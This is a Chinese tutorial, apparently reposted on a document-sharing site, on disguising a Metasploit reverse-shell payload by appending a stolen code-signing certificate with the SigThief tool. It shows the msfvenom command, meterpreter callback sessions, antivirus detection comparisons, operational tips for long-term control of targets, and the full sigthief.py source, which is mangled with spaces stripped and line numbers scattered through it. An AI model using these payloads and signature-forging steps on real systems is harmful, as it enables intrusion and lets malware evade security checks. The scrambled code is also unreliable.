版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
专注APT攻击与防御
/
注:请多喝点热水或者凉白开,可预防多种疾病。
Github:/secretsquirrel/SigThief
简介:在实战中,尤其是需要长期控制的目标,除免杀对抗安全软件以外,还需考虑人为无意查看恶意文件,如数字签名是否拥有。而许多安全软件,又仅仅验证是否有签名,而非验证签名是否有效。那么针对重要的目标,需要提前做多重对抗准备。
原始payload:
[root@Johnhtml]#msfvenom‐pwindows/x64/meterpreter/reverse_tcpLHOST=04LPORT=53‐fexe>tmp_rev53x_64.exe
[‐]Noplatformwasselected,choosingMsf::Module::Platform::Windowsfromthepayload
[‐]Noarchselected,selectingarch:x64fromthepayload
Noencoderorbadcharsspecified,outputtingrawpayload
Payloadsize:510bytes
Finalsizeofexefile:7168bytes
无签名:
开启安全警告验证:
成功回连:
1msfexploit(multi/handler)>showoptions
2
3Moduleoptions(exploit/multi/handler):
4
5 NameCurrentSettingRequiredDescription
6 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
7
8
9Payloadoptions(windows/x64/meterpreter/reverse_tcp):
10
NameCurrentSettingRequiredDescription
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none)
LHOST04yesThelistenaddress(aninterfacemaybespecified)
LPORT53yesThelistenport
16
17
18Exploittarget:
19
IdName
‐‐‐‐‐‐
0WildcardTarget
23
24
25msfexploit(multi/handler)>exploit
26
[*]StartedreverseTCPhandleron04:53
[*]Sendingstage(206403bytes)to01
[*]Meterpretersession2opened(04:53‐>01:32
56)at2019‐02‐1908:02:52‐0500
30
31meterpreter>
伪造无效签名payload:
[root@Johnhtml]#~/SigThief/sigthief.py‐icrashreporter.exe.ca‐ttmp_rev53x_64.exe‐otmp_rev53x_64.ca.exe
Outputfile:tmp_rev53x_64.ca.exe
Signatureappended.
FIN.
伪造签名:
成功回连:
1msfexploit(multi/handler)>exploit
2
[*]StartedreverseTCPhandleron04:53
[*]Sendingstage(206403bytes)to01
[*]Meterpretersession3opened(04:53‐>01:32
59)at2019‐02‐1908:04:11‐0500
6
meterpreter>getpid
Currentpid:972
靶机查看:
世界杀毒网:原始payloadVS原始payload签名伪造
无证书伪造,无免杀:
仅证书伪造,无免杀:
以上结果佐证,许多安全软件,仅仅是验证是否有数字签名,而不确认是否有效。
后者的话:
该原始python在伪造证书时,需要注意2点:
原始证书文件需要对应目标机的机器版本以及位数,如目标机是Windows2003,那么需要原始带证书文件也为Windows2003的文件。包括第三方文件。
伪造证书后,例:在Windows2003开启验安全验证后,双击无法运行,也无报错,需要命令行下执行即可。
附录:sigthief.py
#!/usr/bin/envpython3
#LICENSE:BSD‐3
#Copyright:JoshPitts@midnite_runr
4
5importsys
importstruct
importshutil
importio
fromoptparseimportOptionParser
10
11
defgather_file_info_win(binary):
"""
BorrowedfromBDF...
IcouldjustskiptocertLOC...*shrug*
"""
flItms={}
binary=open(binary,'rb')
binary.seek(int('3C',16))
flItms['buffer']=0
flItms['JMPtoCodeAddress']=0
flItms['dis_frm_pehdrs_sectble']=248
flItms['pe_header_location']=struct.unpack('<i',binary.read(4))[0]
#StartofCOFF
flItms['COFF_Start']=flItms['pe_header_location']+4
binary.seek(flItms['COFF_Start'])
flItms['MachineType']=struct.unpack('<H',binary.read(2))[0]
binary.seek(flItms['COFF_Start']+2,0)
flItms['NumberOfSections']=struct.unpack('<H',binary.read(2))[0]
flItms['TimeDateStamp']=struct.unpack('<I',binary.read(4))[0]
binary.seek(flItms['COFF_Start']+16,0)
flItms['SizeOfOptionalHeader']=struct.unpack('<H',binary.read(2))[0]
flItms['Characteristics']=struct.unpack('<H',binary.read(2))[0]
#EndofCOFF
flItms['OptionalHeader_start']=flItms['COFF_Start']+20
36
#ifflItms['SizeOfOptionalHeader']:
#BeginStandardFieldssectionofOptionalHeader
binary.seek(flItms['OptionalHeader_start'])
flItms['Magic']=struct.unpack('<H',binary.read(2))[0]
flItms['MajorLinkerVersion']=struct.unpack("!B",binary.read(1))[0]
flItms['MinorLinkerVersion']=struct.unpack("!B",binary.read(1))[0]
flItms['SizeOfCode']=struct.unpack("<I",binary.read(4))[0]
flItms['SizeOfInitializedData']=struct.unpack("<I",binary.read(4))[0]
flItms['SizeOfUninitializedData']=struct.unpack("<I",
binary.read(4))[0]
flItms['AddressOfEntryPoint']=struct.unpack('<I',binary.read(4))[0]
flItms['PatchLocation']=flItms['AddressOfEntryPoint']
flItms['BaseOfCode']=struct.unpack('<I',binary.read(4))[0]
ifflItms['Magic']!=0x20B:
flItms['BaseOfData']=struct.unpack('<I',binary.read(4))[0]
#EndStandardFieldssectionofOptionalHeader
#BeginWindows‐SpecificFieldsofOptionalHeader
ifflItms['Magic']==0x20B:
flItms['ImageBase']=struct.unpack('<Q',binary.read(8))[0]
else:
flItms['ImageBase']=struct.unpack('<I',binary.read(4))[0]
flItms['SectionAlignment']=struct.unpack('<I',binary.read(4))[0]
flItms['FileAlignment']=struct.unpack('<I',binary.read(4))[0]
flItms['MajorOperatingSystemVersion']=struct.unpack('<H',
binary.read(2))[0]
flItms['MinorOperatingSystemVersion']=struct.unpack('<H',
binary.read(2))[0]
flItms['MajorImageVersion']=struct.unpack('<H',binary.read(2))[0]
flItms['MinorImageVersion']=struct.unpack('<H',binary.read(2))[0]
flItms['MajorSubsystemVersion']=struct.unpack('<H',binary.read(2))[0]
flItms['MinorSubsystemVersion']=struct.unpack('<H',binary.read(2))[0]
flItms['Win32VersionValue']=struct.unpack('<I',binary.read(4))[0]
flItms['SizeOfImageLoc']=binary.tell()
flItms['SizeOfImage']=struct.unpack('<I',binary.read(4))[0]
flItms['SizeOfHeaders']=struct.unpack('<I',binary.read(4))[0]
flItms['CheckSum']=struct.unpack('<I',binary.read(4))[0]
flItms['Subsystem']=struct.unpack('<H',binary.read(2))[0]
flItms['DllCharacteristics']=struct.unpack('<H',binary.read(2))[0]
ifflItms['Magic']==0x20B:
flItms['SizeOfStackReserve']=struct.unpack('<Q',binary.read(8))[0]
flItms['SizeOfStackCommit']=struct.unpack('<Q',binary.read(8))[0]
flItms['SizeOfHeapReserve']=struct.unpack('<Q',binary.read(8))[0]
flItms['SizeOfHeapCommit']=struct.unpack('<Q',binary.read(8))[0]
80
else:
flItms['SizeOfStackReserve']=struct.unpack('<I',binary.read(4))[0]
flItms['SizeOfStackCommit']=struct.unpack('<I',binary.read(4))[0]
flItms['SizeOfHeapReserve']=struct.unpack('<I',binary.read(4))[0]
flItms['SizeOfHeapCommit']=struct.unpack('<I',binary.read(4))[0]
flItms['LoaderFlags']=struct.unpack('<I',binary.read(4))[0]#zero
flItms['NumberofRvaAndSizes']=struct.unpack('<I',binary.read(4))[0]
#EndWindows‐SpecificFieldsofOptionalHeader
#BeginDataDirectoriesofOptionalHeader
flItms['ExportTableRVA']=struct.unpack('<I',binary.read(4))[0]
flItms['ExportTableSize']=struct.unpack('<I',binary.read(4))[0]
flItms['ImportTableLOCInPEOptHdrs']=binary.tell()
#ImportTableSIZE|LOC
flItms['ImportTableRVA']=struct.unpack('<I',binary.read(4))[0]
flItms['ImportTableSize']=struct.unpack('<I',binary.read(4))[0]
flItms['ResourceTable']=struct.unpack('<Q',binary.read(8))[0]
flItms['ExceptionTable']=struct.unpack('<Q',binary.read(8))[0]
flItms['CertTableLOC']=binary.tell()
flItms['CertLOC']=struct.unpack("<I",binary.read(4))[0]
flItms['CertSize']=struct.unpack("<I",binary.read(4))[0]
binary.close()
returnflItms
103
104
defcopyCert(exe):
flItms=gather_file_info_win(exe)
107
ifflItms['CertLOC']==0orflItms['CertSize']==0:
#notsigned
print("InputfileNotsigned!")
sys.exit(‐1)
112
withopen(exe,'rb')asf:
f.seek(flItms['CertLOC'],0)
cert=f.read(flItms['CertSize'])
returncert
117
118
defwriteCert(cert,exe,output):
flItms=gather_file_info_win(exe)
121
122 if
not
output:
123
output=output=str(exe)+"_signed"
124
125
shutil.copy2(exe,output)
126
127
print("Outputfile:{0}".format(output))
128
129
withopen(exe,'rb')asg:
130
withopen(output,'wb')asf:
131
f.write(g.read())
132
f.seek(0)
133
f.seek(flItms['CertTableLOC'],0)
134
f.write(struct.pack("<I",len(open(exe,
'rb').read())))
135
f.write(struct.pack("<I",len(cert)))
136
f.seek(0,io.SEEK_END)
137
f.write(cert)
138
139
print("Signatureappended.\nFIN.")
140
141
142
defoutputCert(exe,output):
143
cert=
copyCert(exe)
144
ifnot
output:
145
output
=str(exe)+"_sig"
146
147
print("Outputfile:{0}".format(output))
149
open(output,'wb').write(cert)
151
print("Signatureripped.\nFIN.")
152
153
154
defcheck_sig(exe):
155
flItms=gather_file_info_win(exe)
156
157
ifflItms['CertLOC']==0orflItms['CertSize']
==0:
158
#notsigned
159
print("InputfileNotsigned!")
160
else:
161
print("Inputfileissigned!")
162
163
148
150
deftruncate(exe,output):
flItms=gather_file_info_win(exe)
166
ifflItms['CertLOC']==0orflItms['CertSize']==0:
#notsigned
print("InputfileNotsigned!")
sys.exit(‐1)
else:
print("Inputfileissigned!")
173
174 if
not
output:
175 output
176
=str(exe)+"_nosig"
177 print("Outputfile:{0}".format(output))
178
179 shutil.copy2(exe,output)
180
181 withopen(output,"r+b")asbinary:
182 print('Overwritingcertificatetablepointerandtruncatingbinary')
183 binary.seek(‐flItms['CertSize'],io.SEEK_END)
184 binary.truncate()
185 binary.seek(flItms['CertTableLOC'],0)
186 binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
187
188 print("Signatureremoved.\nFIN.")
189
190
191defsignfile(exe,sigfile,output):
192
flItms
=gather_file_info_win(exe)
193
194
cert=
open(sigfile,'rb').read()
195
196
ifnot
output:
197
output
=output=str(exe)+"_signed"
198
199 shutil.copy2(exe,output)
200
201 print("Outputfile:{0}".format(output))
202
withopen(exe,'rb')asg:
withopen(output,'wb')asf:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'],0)
f.write(struct.pack("<I",len(open(exe,'rb').read())))
f.write(struct.pack("<I",len(cert)))
f.seek(0,io.SEEK_END)
f.write(cert)
print("Signatureappended.\nFIN.")
213
214
if name =="main":
usage='usage:%prog[options]'
parser=OptionParser()
parser.add_option("‐i","‐‐file",dest="inputfile",
help="inputfile",metavar="FILE")
parser.add_option('‐r','‐‐rip',dest='ripsig',action='store_true',
help='ripsignatureoffinputfile')
parser.add_option('‐a','‐‐add',dest='addsig',action='store_true',
help='addsignautretotargetfile')
parser.add_option('‐o','‐‐output',dest='outputfile',
help='outputfile')
parser.add_option('‐s','‐‐sig',dest='sigfile',
help='binarysignaturefromdisk')
parser.add_option('‐t','‐‐target',dest='targetfile',
help='filetoappendsignatureto')
parser.add_option('‐c','‐‐checksig',dest='checksig',action='store
_true',
help='filetocheckifs
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 普通员工的述职报告
- 胃癌术后化疗护理规范培训
- 2026年私募证券投资基金经理考核方案
- 2026年环卫设施除雪设备配备及推雪铲融雪剂撒布机调试验收题库
- 普通员工自我批评
- 新员工简单自我介绍
- 放射科放射治疗术后护理指南
- 2026年乡镇防汛防旱统筹知识测试
- 历史文化建筑保护与价值解析
- 2026年贸易金融政策学习手册配套练习
- 村里烧烤活动方案
- 毕业设计(论文)-角码三角支架冲压件冲压模具设计-2套模具
- 儿童课件夏天的知了
- 食品智能加工技术专业教学标准(高等职业教育专科)2025修订
- 铝锭加工居间合同协议书
- 监理项目联合协议书
- 《经典常谈》每章习题及答案
- 青岛西海岸新区2025中考自主招生英语试卷试题(含答案详解)
- JGT163-2013钢筋机械连接用套筒
- JT-T-146-1994钢筋混凝土船船体质量检验评定标准
- 脚手架施工过程中的风险评估
评论
0/150
提交评论